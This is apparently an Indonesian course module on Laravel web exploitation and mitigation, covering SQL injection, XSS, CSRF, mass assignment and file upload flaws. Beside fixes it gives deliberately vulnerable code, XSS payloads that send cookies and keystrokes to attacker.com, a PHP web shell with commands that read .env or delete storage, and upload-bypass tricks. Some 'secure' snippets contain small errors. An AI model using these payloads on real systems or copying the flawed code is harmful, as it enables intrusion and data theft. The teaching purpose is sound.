DEV Community

ahmadasroni38
ahmadasroni38

Posted on

Eksploitasi Web Laravel dan Antisipasinya

DAFTAR ISI

  1. Pendahuluan
  2. Persiapan Environment
  3. Pertemuan 6: Eksploitasi Dasar
  4. Pertemuan 7: Eksploitasi Lanjutan
  5. Kesimpulan

PENDAHULUAN

Tujuan Praktikum

Setelah menyelesaikan praktikum ini, mahasiswa diharapkan dapat:

  1. Memahami berbagai jenis eksploitasi web pada aplikasi Laravel
  2. Melakukan simulasi serangan dalam lingkungan yang terkontrol
  3. Mengimplementasikan teknik mitigasi dan pencegahan
  4. Membangun aplikasi Laravel yang aman

Capaian Pembelajaran

  • C1 (Knowledge): Memahami konsep keamanan web dan vulnerability Laravel
  • C3 (Application): Melakukan eksploitasi dalam lab environment
  • C4 (Analysis): Menganalisis celah keamanan aplikasi
  • C5 (Synthesis): Merancang solusi keamanan yang tepat

PERSIAPAN ENVIRONMENT

Requirement Sistem

- PHP 8.1+
- Composer 2.x
- MySQL 8.0+ / PostgreSQL
- Laravel 10.x
- Git
Enter fullscreen mode Exit fullscreen mode

Setup Project Praktikum

# 1. Buat project Laravel baru
composer create-project laravel/laravel security-lab "10.*"
cd security-lab

# 2. Konfigurasi database (.env)
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=security_lab
DB_USERNAME=root
DB_PASSWORD=

# 3. Install dependencies tambahan
composer require laravel/breeze --dev
php artisan breeze:install blade
npm install && npm run dev

# 4. Migrate database
php artisan migrate

# 5. Jalankan server
php artisan serve
Enter fullscreen mode Exit fullscreen mode

Struktur Project

security-lab/
├── app/
│   ├── Http/
│   │   ├── Controllers/
│   │   └── Middleware/
│   └── Models/
├── database/
│   ├── migrations/
│   └── seeders/
├── resources/
│   └── views/
└── routes/
    └── web.php
Enter fullscreen mode Exit fullscreen mode

PERTEMUAN 1: EKSPLOITASI DASAR

Durasi: 3 Jam

Topik: SQL Injection, XSS, CSRF, Mass Assignment


MODUL 1: SQL INJECTION

1.1 Teori Singkat

SQL Injection adalah teknik injeksi kode yang mengeksploitasi celah keamanan pada layer database aplikasi. Penyerang dapat memanipulasi query SQL untuk mengakses, memodifikasi, atau menghapus data.

1.2 Skenario Vulnerable Code

Buat Controller Vulnerable:

php artisan make:controller VulnerableUserController
Enter fullscreen mode Exit fullscreen mode

File: app/Http/Controllers/VulnerableUserController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;

class VulnerableUserController extends Controller
{
    // VULNERABLE: SQL Injection
    public function searchVulnerable(Request $request)
    {
        $search = $request->input('search');

        // BAHAYA: Query langsung tanpa sanitasi
        $users = DB::select("SELECT * FROM users WHERE name LIKE '%$search%'");

        return view('users.search', compact('users'));
    }
}
Enter fullscreen mode Exit fullscreen mode

Buat View:

mkdir -p resources/views/users
Enter fullscreen mode Exit fullscreen mode

File: resources/views/users/search.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>User Search - VULNERABLE</title>
</head>
<body>
    <h1>Search Users (VULNERABLE VERSION)</h1>

    <form method="GET" action="/vulnerable/search">
        <input type="text" name="search" placeholder="Search name...">
        <button type="submit">Search</button>
    </form>

    @if(isset($users))
        <h2>Results:</h2>
        <table border="1">
            <tr>
                <th>ID</th>
                <th>Name</th>
                <th>Email</th>
            </tr>
            @foreach($users as $user)
            <tr>
                <td>{{ $user->id }}</td>
                <td>{{ $user->name }}</td>
                <td>{{ $user->email }}</td>
            </tr>
            @endforeach
        </table>
    @endif
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Route: routes/web.php

use App\Http\Controllers\VulnerableUserController;

Route::get('/vulnerable/search', [VulnerableUserController::class, 'searchVulnerable']);
Enter fullscreen mode Exit fullscreen mode

1.3 Eksploitasi SQL Injection

Test Serangan:

Payload 1 (Basic): ' OR '1'='1
URL: http://localhost:8000/vulnerable/search?search=' OR '1'='1

Payload 2 (Union-based): ' UNION SELECT 1,2,3--
URL: http://localhost:8000/vulnerable/search?search=' UNION SELECT 1,2,3--

Payload 3 (Bypass): admin'--
URL: http://localhost:8000/vulnerable/search?search=admin'--
Enter fullscreen mode Exit fullscreen mode

Hasil Eksploitasi:

  • Payload 1: Menampilkan semua user
  • Payload 2: Mengambil data dari tabel lain
  • Payload 3: Bypass authentication

1.4 Mitigasi SQL Injection

Buat Controller Secure:

php artisan make:controller SecureUserController
Enter fullscreen mode Exit fullscreen mode

File: app/Http/Controllers/SecureUserController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\User;

class SecureUserController extends Controller
{
    // SECURE: Menggunakan Eloquent ORM
    public function searchSecure(Request $request)
    {
        $search = $request->validated(['search' => 'nullable|string|max:255']);

        // Metode 1: Eloquent ORM (Recommended)
        $users = User::where('name', 'LIKE', "%{$search}%")->get();

        return view('users.search-secure', compact('users'));
    }

    // SECURE: Menggunakan Query Builder dengan Parameter Binding
    public function searchSecureQueryBuilder(Request $request)
    {
        $search = $request->input('search');

        // Metode 2: Parameter Binding
        $users = DB::select(
            "SELECT * FROM users WHERE name LIKE ?", 
            ["%{$search}%"]
        );

        return view('users.search-secure', compact('users'));
    }

    // SECURE: Dengan validasi ketat
    public function searchSecureValidated(Request $request)
    {
        $validated = $request->validate([
            'search' => 'required|string|max:100|alpha_dash'
        ]);

        $users = User::where('name', 'LIKE', "%{$validated['search']}%")->get();

        return view('users.search-secure', compact('users'));
    }
}
Enter fullscreen mode Exit fullscreen mode

Best Practices SQL Injection Prevention:

// ✅ BAIK: Eloquent ORM
User::where('email', $email)->first();

// ✅ BAIK: Query Builder dengan binding
DB::table('users')->where('email', '=', $email)->get();

// ✅ BAIK: Named bindings
DB::select('SELECT * FROM users WHERE email = :email', ['email' => $email]);

// ❌ BURUK: Raw query tanpa binding
DB::select("SELECT * FROM users WHERE email = '$email'");

// ❌ BURUK: Concatenation
DB::table('users')->whereRaw("email = '$email'")->get();
Enter fullscreen mode Exit fullscreen mode

MODUL 2: CROSS-SITE SCRIPTING (XSS)

2.1 Teori Singkat

XSS memungkinkan penyerang menginjeksi script berbahaya (biasanya JavaScript) ke halaman web yang dilihat oleh pengguna lain.

Jenis XSS:

  1. Stored XSS: Script disimpan di database
  2. Reflected XSS: Script di-reflect dari input user
  3. DOM-based XSS: Manipulasi DOM di sisi klien

2.2 Skenario Vulnerable Code

Buat Model dan Migration:

php artisan make:model Comment -m
Enter fullscreen mode Exit fullscreen mode

File: database/migrations/xxxx_create_comments_table.php

public function up()
{
    Schema::create('comments', function (Blueprint $table) {
        $table->id();
        $table->foreignId('user_id')->constrained()->onDelete('cascade');
        $table->text('content');
        $table->timestamps();
    });
}
Enter fullscreen mode Exit fullscreen mode
php artisan migrate
Enter fullscreen mode Exit fullscreen mode

Buat Controller:

php artisan make:controller CommentController
Enter fullscreen mode Exit fullscreen mode

File: app/Http/Controllers/CommentController.php

<?php

namespace App\Http\Controllers;

use App\Models\Comment;
use Illuminate\Http\Request;

class CommentController extends Controller
{
    // VULNERABLE: Stored XSS
    public function storeVulnerable(Request $request)
    {
        Comment::create([
            'user_id' => auth()->id() ?? 1,
            'content' => $request->input('content') // Tidak ada sanitasi
        ]);

        return redirect()->back();
    }

    public function indexVulnerable()
    {
        $comments = Comment::all();
        return view('comments.index-vulnerable', compact('comments'));
    }
}
Enter fullscreen mode Exit fullscreen mode

File: resources/views/comments/index-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Comments - VULNERABLE</title>
</head>
<body>
    <h1>Comments Section (VULNERABLE)</h1>

    <form method="POST" action="/vulnerable/comments">
        @csrf
        <textarea name="content" rows="4" cols="50"></textarea><br>
        <button type="submit">Submit Comment</button>
    </form>

    <h2>All Comments:</h2>
    @foreach($comments as $comment)
        <div style="border:1px solid #ccc; padding:10px; margin:10px 0;">
            <!-- BAHAYA: Menampilkan content tanpa escape -->
            <p>{!! $comment->content !!}</p>
            <small>Posted at: {{ $comment->created_at }}</small>
        </div>
    @endforeach
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Route:

Route::post('/vulnerable/comments', [CommentController::class, 'storeVulnerable']);
Route::get('/vulnerable/comments', [CommentController::class, 'indexVulnerable']);
Enter fullscreen mode Exit fullscreen mode

2.3 Eksploitasi XSS

Test Serangan:

<!-- Payload 1: Alert Box -->
<script>alert('XSS Vulnerable!')</script>

<!-- Payload 2: Cookie Stealing -->
<script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

<!-- Payload 3: Redirect -->
<script>window.location='https://malicious-site.com'</script>

<!-- Payload 4: Keylogger -->
<script>
    document.onkeypress = function(e) {
        fetch('https://attacker.com/log?key=' + e.key);
    }
</script>

<!-- Payload 5: DOM Manipulation -->
<img src=x onerror="document.body.innerHTML='<h1>HACKED!</h1>'">

<!-- Payload 6: Session Hijacking -->
<script>
    var sessionToken = localStorage.getItem('token');
    fetch('https://attacker.com/steal?token=' + sessionToken);
</script>
Enter fullscreen mode Exit fullscreen mode

2.4 Mitigasi XSS

Controller Secure:

<?php

namespace App\Http\Controllers;

use App\Models\Comment;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;

class CommentController extends Controller
{
    // SECURE: Dengan validasi dan sanitasi
    public function storeSecure(Request $request)
    {
        $validated = $request->validate([
            'content' => 'required|string|max:1000'
        ]);

        // Laravel otomatis escape HTML entities
        Comment::create([
            'user_id' => auth()->id() ?? 1,
            'content' => $validated['content']
        ]);

        return redirect()->back()->with('success', 'Comment posted!');
    }

    public function indexSecure()
    {
        $comments = Comment::all();
        return view('comments.index-secure', compact('comments'));
    }
}
Enter fullscreen mode Exit fullscreen mode

File: resources/views/comments/index-secure.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Comments - SECURE</title>
    <meta name="csrf-token" content="{{ csrf_token() }}">
</head>
<body>
    <h1>Comments Section (SECURE)</h1>

    <form method="POST" action="/secure/comments">
        @csrf
        <textarea name="content" rows="4" cols="50" maxlength="1000"></textarea><br>
        <button type="submit">Submit Comment</button>
    </form>

    @if(session('success'))
        <p style="color: green;">{{ session('success') }}</p>
    @endif

    <h2>All Comments:</h2>
    @foreach($comments as $comment)
        <div style="border:1px solid #ccc; padding:10px; margin:10px 0;">
            <!-- ✅ SECURE: Menggunakan {{ }} untuk auto-escape -->
            <p>{{ $comment->content }}</p>
            <small>Posted at: {{ $comment->created_at }}</small>
        </div>
    @endforeach
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Best Practices XSS Prevention:

// ✅ BAIK: Auto-escape dengan {{ }}
{{ $userInput }}

// ✅ BAIK: Manual escape
{{ e($userInput) }}
{{ htmlspecialchars($userInput) }}

// ✅ BAIK: Strip tags
{{ strip_tags($userInput) }}

// ❌ BURUK: Raw output
{!! $userInput !!}

// ✅ BAIK: Content Security Policy (CSP)
// File: app/Http/Middleware/AddSecurityHeaders.php
Enter fullscreen mode Exit fullscreen mode

Tambahkan Middleware CSP:

php artisan make:middleware AddSecurityHeaders
Enter fullscreen mode Exit fullscreen mode
<?php

namespace App\Http\Middleware;

use Closure;

class AddSecurityHeaders
{
    public function handle($request, Closure $next)
    {
        $response = $next($request);

        $response->headers->set('X-Content-Type-Options', 'nosniff');
        $response->headers->set('X-Frame-Options', 'DENY');
        $response->headers->set('X-XSS-Protection', '1; mode=block');
        $response->headers->set('Content-Security-Policy', "default-src 'self'; script-src 'self'");

        return $response;
    }
}
Enter fullscreen mode Exit fullscreen mode

Register di app/Http/Kernel.php:

protected $middlewareGroups = [
    'web' => [
        // ... middleware lain
        \App\Http\Middleware\AddSecurityHeaders::class,
    ],
];
Enter fullscreen mode Exit fullscreen mode

MODUL 3: CROSS-SITE REQUEST FORGERY (CSRF)

3.1 Teori Singkat

CSRF memaksa user yang sudah terautentikasi untuk melakukan aksi yang tidak diinginkan pada aplikasi web tanpa sepengetahuan mereka.

3.2 Skenario Vulnerable Code

Buat Controller:

php artisan make:controller ProfileController
Enter fullscreen mode Exit fullscreen mode

File: app/Http/Controllers/ProfileController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\User;

class ProfileController extends Controller
{
    // VULNERABLE: Tanpa CSRF protection
    public function updateVulnerable(Request $request)
    {
        $user = User::find(auth()->id() ?? 1);
        $user->update([
            'email' => $request->input('email')
        ]);

        return redirect()->back()->with('success', 'Profile updated!');
    }
}
Enter fullscreen mode Exit fullscreen mode

File: resources/views/profile/edit-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Edit Profile - VULNERABLE</title>
</head>
<body>
    <h1>Edit Profile (VULNERABLE)</h1>

    <!-- BAHAYA: Tidak ada CSRF token -->
    <form method="POST" action="/vulnerable/profile/update">
        <label>Email:</label>
        <input type="email" name="email" value="{{ auth()->user()->email ?? 'user@example.com' }}"><br>
        <button type="submit">Update Profile</button>
    </form>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Route (VULNERABLE - Tanpa middleware csrf):

// JANGAN LAKUKAN INI DI PRODUCTION!
Route::post('/vulnerable/profile/update', [ProfileController::class, 'updateVulnerable'])
    ->withoutMiddleware([\App\Http\Middleware\VerifyCsrfToken::class]);
Enter fullscreen mode Exit fullscreen mode

3.3 Eksploitasi CSRF

Buat File Attack HTML (di luar aplikasi Laravel):

File: csrf-attack.html

<!DOCTYPE html>
<html>
<head>
    <title>Win iPhone 15 Pro!</title>
</head>
<body>
    <h1>Congratulations! Click below to claim your prize!</h1>
    <button onclick="document.getElementById('csrfForm').submit()">Claim Prize</button>

    <!-- Hidden form untuk serangan CSRF -->
    <form id="csrfForm" method="POST" action="http://localhost:8000/vulnerable/profile/update" style="display:none;">
        <input type="email" name="email" value="hacker@evil.com">
    </form>

    <!-- Auto-submit menggunakan JavaScript -->
    <script>
        // Otomatis submit saat halaman dimuat
        // window.onload = function() {
        //     document.getElementById('csrfForm').submit();
        // }
    </script>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Skenario Serangan:

  1. Victim login ke aplikasi Laravel (http://localhost:8000)
  2. Victim membuka link phishing yang berisi csrf-attack.html
  3. Form hidden otomatis ter-submit
  4. Email victim berubah menjadi hacker@evil.com

3.4 Mitigasi CSRF

Controller Secure (menggunakan middleware CSRF Laravel):

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\User;

class ProfileController extends Controller
{
    // SECURE: Laravel CSRF protection aktif
    public function updateSecure(Request $request)
    {
        $validated = $request->validate([
            'email' => 'required|email|unique:users,email,' . auth()->id()
        ]);

        $user = User::find(auth()->id());
        $user->update($validated);

        return redirect()->back()->with('success', 'Profile updated securely!');
    }
}
Enter fullscreen mode Exit fullscreen mode

File: resources/views/profile/edit-secure.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Edit Profile - SECURE</title>
    <meta name="csrf-token" content="{{ csrf_token() }}">
</head>
<body>
    <h1>Edit Profile (SECURE)</h1>

    <form method="POST" action="/secure/profile/update">
        <!-- ✅ SECURE: CSRF Token -->
        @csrf

        <label>Email:</label>
        <input type="email" name="email" value="{{ auth()->user()->email ?? 'user@example.com' }}" required><br>

        <button type="submit">Update Profile</button>
    </form>

    @if(session('success'))
        <p style="color: green;">{{ session('success') }}</p>
    @endif
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Route (SECURE - Dengan middleware csrf):

Route::post('/secure/profile/update', [ProfileController::class, 'updateSecure'])
    ->middleware('auth');
Enter fullscreen mode Exit fullscreen mode

CSRF Protection untuk AJAX:

<script>
// Setup CSRF token untuk semua AJAX request
$.ajaxSetup({
    headers: {
        'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
    }
});

// Atau menggunakan Fetch API
fetch('/secure/profile/update', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content
    },
    body: JSON.stringify({
        email: 'newemail@example.com'
    })
})
.then(response => response.json())
.then(data => console.log(data));
</script>
Enter fullscreen mode Exit fullscreen mode

Best Practices CSRF Prevention:

// ✅ BAIK: Selalu gunakan @csrf dalam form
<form method="POST">
    @csrf
    <!-- form fields -->
</form>

// ✅ BAIK: Verifikasi CSRF token di middleware
// Sudah default di Laravel (VerifyCsrfToken middleware)

// ✅ BAIK: Gunakan SameSite cookie
// config/session.php
'same_site' => 'lax', // atau 'strict'

// ✅ BAIK: Double Submit Cookie Pattern (alternatif)
Route::post('/action', function(Request $request) {
    if ($request->cookie('csrf') !== $request->input('csrf_token')) {
        abort(403, 'CSRF token mismatch');
    }
    // Process request
});

// ❌ BURUK: Menonaktifkan CSRF protection
// Jangan pernah lakukan ini kecuali untuk API stateless dengan token authentication
Enter fullscreen mode Exit fullscreen mode

MODUL 4: MASS ASSIGNMENT

4.1 Teori Singkat

Mass Assignment vulnerability terjadi ketika aplikasi secara otomatis assign input dari request ke model properties tanpa filtering yang tepat, memungkinkan attacker memodifikasi field yang tidak seharusnya.

4.2 Skenario Vulnerable Code

Buat Model:

php artisan make:model Product -m
Enter fullscreen mode Exit fullscreen mode

File: database/migrations/xxxx_create_products_table.php

public function up()
{
    Schema::create('products', function (Blueprint $table) {
        $table->id();
        $table->string('name');
        $table->text('description');
        $table->decimal('price', 10, 2);
        $table->integer('stock');
        $table->boolean('is_featured')->default(false);
        $table->boolean('is_admin_only')->default(false);
        $table->timestamps();
    });
}
Enter fullscreen mode Exit fullscreen mode
php artisan migrate
Enter fullscreen mode Exit fullscreen mode

Model VULNERABLE:

File: app/Models/Product.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class Product extends Model
{
    // BAHAYA: Menggunakan $guarded = [] atau tanpa $fillable
    protected $guarded = []; // Semua field bisa di-assign!

    // Atau tidak mendefinisikan sama sekali (lebih bahaya)
}
Enter fullscreen mode Exit fullscreen mode

Controller:

php artisan make:controller ProductController
Enter fullscreen mode Exit fullscreen mode

File: app/Http/Controllers/ProductController.php

<?php

namespace App\Http\Controllers;

use App\Models\Product;
use Illuminate\Http\Request;

class ProductController extends Controller
{
    // VULNERABLE: Mass Assignment
    public function storeVulnerable(Request $request)
    {
        // BAHAYA: Semua input langsung di-assign
        $product = Product::create($request->all());

        return redirect()->back()->with('success', 'Product created!');
    }

    public function updateVulnerable(Request $request, $id)
    {
        $product = Product::findOrFail($id);

        // BAHAYA: Update tanpa filtering
        $product->update($request->all());

        return redirect()->back()->with('success', 'Product updated!');
    }
}
Enter fullscreen mode Exit fullscreen mode

File: resources/views/products/create-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>Create Product - VULNERABLE</title>
</head>
<body>
    <h1>Create Product (VULNERABLE)</h1>

    <form method="POST" action="/vulnerable/products">
        @csrf
        <label>Name:</label>
        <input type="text" name="name" required><br>

        <label>Description:</label>
        <textarea name="description" required></textarea><br>

        <label>Price:</label>
        <input type="number" step="0.01" name="price" required><br>

        <label>Stock:</label>
        <input type="number" name="stock" required><br>

        <button type="submit">Create Product</button>
    </form>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

4.3 Eksploitasi Mass Assignment

Test Serangan menggunakan cURL atau Postman:

# Serangan 1: Mengatur is_featured=true (seharusnya hanya admin)
curl -X POST http://localhost:8000/vulnerable/products \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "name=Hacked Product&description=Test&price=100&stock=10&is_featured=1&is_admin_only=1"

# Serangan 2: Modify dengan form HTML custom
Enter fullscreen mode Exit fullscreen mode

File: mass-assignment-attack.html

<!DOCTYPE html>
<html>
<body>
    <h1>Create Product (With Hidden Fields)</h1>

    <form method="POST" action="http://localhost:8000/vulnerable/products">
        <input type="text" name="name" value="Normal Product"><br>
        <textarea name="description">Normal Description</textarea><br>
        <input type="number" name="price" value="100"><br>
        <input type="number" name="stock" value="10"><br>

        <!-- Hidden malicious fields -->
        <input type="hidden" name="is_featured" value="1">
        <input type="hidden" name="is_admin_only" value="1">
        <input type="hidden" name="price" value="0.01"> <!-- Override price -->

        <button type="submit">Submit</button>
    </form>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Hasil:

  • Produk yang dibuat akan memiliki is_featured=true dan is_admin_only=true
  • Attacker bisa mengubah field yang tidak terlihat di form

4.4 Mitigasi Mass Assignment

Model SECURE:

File: app/Models/Product.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class Product extends Model
{
    // ✅ SECURE: Whitelist dengan $fillable
    protected $fillable = [
        'name',
        'description',
        'price',
        'stock'
    ];

    // ✅ SECURE: Blacklist dengan $guarded (alternatif)
    // protected $guarded = [
    //     'is_featured',
    //     'is_admin_only'
    // ];

    // Field yang tidak boleh di-mass assign
    protected $hidden = [
        'is_admin_only'
    ];
}
Enter fullscreen mode Exit fullscreen mode

Controller SECURE:

<?php

namespace App\Http\Controllers;

use App\Models\Product;
use Illuminate\Http\Request;

class ProductController extends Controller
{
    // SECURE: Dengan validasi eksplisit
    public function storeSecure(Request $request)
    {
        $validated = $request->validate([
            'name' => 'required|string|max:255',
            'description' => 'required|string',
            'price' => 'required|numeric|min:0',
            'stock' => 'required|integer|min:0'
        ]);

        // Hanya field yang divalidasi yang di-assign
        $product = Product::create($validated);

        // Field sensitive di-set manual oleh admin
        if (auth()->user()->is_admin ?? false) {
            $product->is_featured = $request->boolean('is_featured');
            $product->save();
        }

        return redirect()->back()->with('success', 'Product created securely!');
    }

    // SECURE: Menggunakan only() untuk filtering
    public function storeSecureV2(Request $request)
    {
        $data = $request->only(['name', 'description', 'price', 'stock']);
        $product = Product::create($data);

        return redirect()->back()->with('success', 'Product created!');
    }

    // SECURE: Manual assignment
    public function storeSecureV3(Request $request)
    {
        $product = new Product();
        $product->name = $request->input('name');
        $product->description = $request->input('description');
        $product->price = $request->input('price');
        $product->stock = $request->input('stock');
        $product->save();

        return redirect()->back()->with('success', 'Product created!');
    }
}
Enter fullscreen mode Exit fullscreen mode

Best Practices Mass Assignment Prevention:

// ✅ BAIK: Definisikan $fillable di model
protected $fillable = ['name', 'email', 'password'];

// ✅ BAIK: Atau gunakan $guarded untuk blacklist
protected $guarded = ['is_admin', 'role'];

// ✅ BAIK: Validasi input sebelum create/update
$validated = $request->validate([...]);
Model::create($validated);

// ✅ BAIK: Gunakan only() untuk filtering
$data = $request->only(['name', 'email']);

// ✅ BAIK: Manual assignment untuk field sensitive
$user = new User($validated);
$user->role = 'user'; // Set securely
$user->save();

// ❌ BURUK: $guarded = []
protected $guarded = [];

// ❌ BURUK: Tanpa validasi
Model::create($request->all());

// ❌ BURUK: update() tanpa filtering
$model->update($request->all());
Enter fullscreen mode Exit fullscreen mode

TUGAS PERTEMUAN 1

Tugas Mandiri

  1. SQL Injection:

    • Implementasikan fitur login dengan vulnerability SQL Injection
    • Buat exploit untuk bypass authentication
    • Perbaiki dengan menggunakan parameter binding
  2. XSS:

    • Buat blog sederhana dengan stored XSS vulnerability
    • Implementasikan 3 payload XSS berbeda
    • Perbaiki dengan proper escaping dan CSP
  3. CSRF:

    • Buat fitur delete account dengan CSRF vulnerability
    • Buat halaman attack eksternal
    • Implementasikan CSRF token protection
  4. Mass Assignment:

    • Buat user registration dengan role assignment vulnerability
    • Exploit untuk membuat admin user
    • Perbaiki dengan $fillable/$guarded

Laporan Praktikum 1

Buat laporan yang berisi:

  1. Screenshot hasil eksploitasi
  2. Penjelasan teknis setiap vulnerability
  3. Kode vulnerable dan secure (before/after)
  4. Analisis dampak setiap serangan
  5. Kesimpulan dan rekomendasi

PERTEMUAN 2: EKSPLOITASI LANJUTAN

Durasi: 3 Jam

Topik: File Upload Vulnerability, Authentication Bypass, Command Injection, Insecure Deserialization


MODUL 5: FILE UPLOAD VULNERABILITY

5.1 Teori Singkat

File upload vulnerability terjadi ketika aplikasi tidak memvalidasi file yang di-upload dengan benar, memungkinkan attacker meng-upload file berbahaya seperti web shell.

5.2 Skenario Vulnerable Code

Buat Model dan Migration:

php artisan make:model Document -m
Enter fullscreen mode Exit fullscreen mode

File: database/migrations/xxxx_create_documents_table.php

public function up()
{
    Schema::create('documents', function (Blueprint $table) {
        $table->id();
        $table->foreignId('user_id')->constrained();
        $table->string('filename');
        $table->string('filepath');
        $table->string('mime_type')->nullable();
        $table->integer('filesize')->nullable();
        $table->timestamps();
    });
}
Enter fullscreen mode Exit fullscreen mode
php artisan migrate
Enter fullscreen mode Exit fullscreen mode

Controller VULNERABLE:

php artisan make:controller FileUploadController
Enter fullscreen mode Exit fullscreen mode

File: app/Http/Controllers/FileUploadController.php

<?php

namespace App\Http\Controllers;

use App\Models\Document;
use Illuminate\Http\Request;

class FileUploadController extends Controller
{
    // VULNERABLE: File Upload tanpa validasi
    public function uploadVulnerable(Request $request)
    {
        if ($request->hasFile('document')) {
            $file = $request->file('document');

            // BAHAYA: Tidak ada validasi tipe file
            $filename = $file->getClientOriginalName();

            // BAHAYA: Simpan dengan nama asli (bisa overwrite)
            $path = $file->move(public_path('uploads'), $filename);

            Document::create([
                'user_id' => auth()->id() ?? 1,
                'filename' => $filename,
                'filepath' => 'uploads/' . $filename
            ]);

            return redirect()->back()->with('success', 'File uploaded!');
        }

        return redirect()->back()->with('error', 'No file uploaded.');
    }

    public function indexVulnerable()
    {
        $documents = Document::all();
        return view('uploads.index-vulnerable', compact('documents'));
    }
}
Enter fullscreen mode Exit fullscreen mode

File: resources/views/uploads/index-vulnerable.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>File Upload - VULNERABLE</title>
</head>
<body>
    <h1>Upload Document (VULNERABLE)</h1>

    <form method="POST" action="/vulnerable/upload" enctype="multipart/form-data">
        @csrf
        <input type="file" name="document">
        <button type="submit">Upload</button>
    </form>

    @if(session('success'))
        <p style="color: green;">{{ session('success') }}</p>
    @endif

    <h2>Uploaded Files:</h2>
    <ul>
        @foreach($documents as $doc)
        <li>
            <a href="/uploads/{{ $doc->filename }}" target="_blank">
                {{ $doc->filename }}
            </a>
        </li>
        @endforeach
    </ul>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Route:

Route::post('/vulnerable/upload', [FileUploadController::class, 'uploadVulnerable']);
Route::get('/vulnerable/upload', [FileUploadController::class, 'indexVulnerable']);
Enter fullscreen mode Exit fullscreen mode

5.3 Eksploitasi File Upload

Buat Web Shell PHP:

File: shell.php

<?php
// Simple Web Shell
if(isset($_REQUEST['cmd'])) {
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
}
?>
<form method="GET">
    <input type="text" name="cmd" placeholder="Enter command">
    <button type="submit">Execute</button>
</form>
Enter fullscreen mode Exit fullscreen mode

Langkah Eksploitasi:

  1. Upload shell.php melalui form
  2. Akses shell di: http://localhost:8000/uploads/shell.php
  3. Eksekusi command:
    • ls -la - list files
    • cat .env - baca environment variables
    • whoami - cek user yang menjalankan
    • rm -rf storage/* - hapus storage (JANGAN LAKUKAN!)

Variasi Serangan:

// Shell dengan nama double extension
shell.php.jpg

// Shell dengan null byte injection (PHP < 5.3.4)
shell.php%00.jpg

// Shell dengan case manipulation
shell.PHP
shell.pHp

// Polyglot file (valid image + PHP code)
// GIF89a<?php system($_GET['cmd']); ?>
Enter fullscreen mode Exit fullscreen mode

Upload Malicious File via cURL:

curl -X POST http://localhost:8000/vulnerable/upload \
  -F "document=@shell.php" \
  -H "Cookie: laravel_session=..."
Enter fullscreen mode Exit fullscreen mode

5.4 Mitigasi File Upload Vulnerability

Controller SECURE:

<?php

namespace App\Http\Controllers;

use App\Models\Document;
use Illuminate\Http\Request;
use Illuminate\Support\Str;
use Illuminate\Support\Facades\Storage;

class FileUploadController extends Controller
{
    // SECURE: File Upload dengan validasi lengkap
    public function uploadSecure(Request $request)
    {
        $validated = $request->validate([
            'document' => 'required|file|mimes:pdf,doc,docx,jpg,jpeg,png|max:2048' // 2MB
        ]);

        if ($request->hasFile('document')) {
            $file = $request->file('document');

            // Generate nama file unik
            $filename = Str::uuid() . '.' . $file->getClientOriginalExtension();

            // Simpan di storage private (bukan public)
            $path = $file->storeAs('documents', $filename, 'private');

            // Verifikasi MIME type dari content
            $mimeType = $file->getMimeType();
            $allowedMimes = ['application/pdf', 'image/jpeg', 'image/png'];

            if (!in_array($mimeType, $allowedMimes)) {
                return redirect()->back()->with('error', 'Invalid file type!');
            }

            Document::create([
                'user_id' => auth()->id(),
                'filename' => $file->getClientOriginalName(),
                'filepath' => $path,
                'mime_type' => $mimeType,
                'filesize' => $file->getSize()
            ]);

            return redirect()->back()->with('success', 'File uploaded securely!');
        }

        return redirect()->back()->with('error', 'No file uploaded.');
    }

    // Download file securely
    public function downloadSecure($id)
    {
        $document = Document::findOrFail($id);

        // Verifikasi ownership
        if ($document->user_id !== auth()->id() && !auth()->user()->is_admin) {
            abort(403, 'Unauthorized');
        }

        // Download dari private storage
        return Storage::disk('private')->download(
            $document->filepath,
            $document->filename
        );
    }
}
Enter fullscreen mode Exit fullscreen mode

File: resources/views/uploads/index-secure.blade.php

<!DOCTYPE html>
<html>
<head>
    <title>File Upload - SECURE</title>
</head>
<body>
    <h1>Upload Document (SECURE)</h1>

    <form method="POST" action="/secure/upload" enctype="multipart/form-data">
        @csrf
        <input type="file" name="document" accept=".pdf,.doc,.docx,.jpg,.jpeg,.png">
        <button type="submit">Upload</button>
        <p><small>Allowed: PDF, DOC, DOCX, JPG, PNG (Max 2MB)</small></p>
    </form>

    @if($errors->any())
        <p style="color: red;">{{ $errors->first() }}</p>
    @endif

    @if(session('success'))
        <p style="color: green;">{{ session('success') }}</p>
    @endif

    <h2>Your Files:</h2>
    <ul>
        @foreach($documents as $doc)
        <li>
            <a href="/secure/download/{{ $doc->id }}">
                {{ $doc->filename }}
            </a>
            ({{ number_format($doc->filesize / 1024, 2) }} KB)
        </li>
        @endforeach
    </ul>
